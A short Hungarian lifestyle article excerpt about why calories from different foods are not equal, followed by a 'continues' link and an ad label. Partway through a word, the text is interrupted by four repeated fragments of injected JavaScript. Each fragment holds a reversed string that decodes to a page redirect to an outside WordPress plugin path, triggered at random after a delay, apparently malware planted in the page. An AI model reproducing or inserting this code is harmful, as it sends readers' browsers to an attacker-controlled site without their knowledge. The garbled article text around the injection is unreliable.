Az ételek és a kalóriák közti különbségek megértése az első lépés a kiegyensúlyozottabb és valóban egészséges étrend felé. Ezen kívül persze van néhány alapvető tény, ami befolyásolja, mi számít egészségesnek és mi nem. Nem minden kalória egyforma Tény, hogy belehet vinni 300 kalóriát salátából és csokoládéból is, csakhogy a bevitt kalóriák felhasználása nem azonos. Nem kell azon meglepődni, hogy egy 1200 kalória tartalmú ebéd csak néhány órára laktat el, ha az valamelyik gyorsétteremből származik, netán félkész termék. A minőségi alapanyagokból előállítoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tott, 500 kalóriát tartalmazó ebéd képes fél napon át is teltségérzetet adni. A dolog nyitja abban rejlik, hogy az adott…
A cikk folytatódik: http://hazesotthon.co.hu/eletstilus/2018/03/29/ismerd-fel-3-markans-kulonbseg-az-egeszseges-es-az-egeszsegtelen-etel-kozott.html
- Hirdetés -
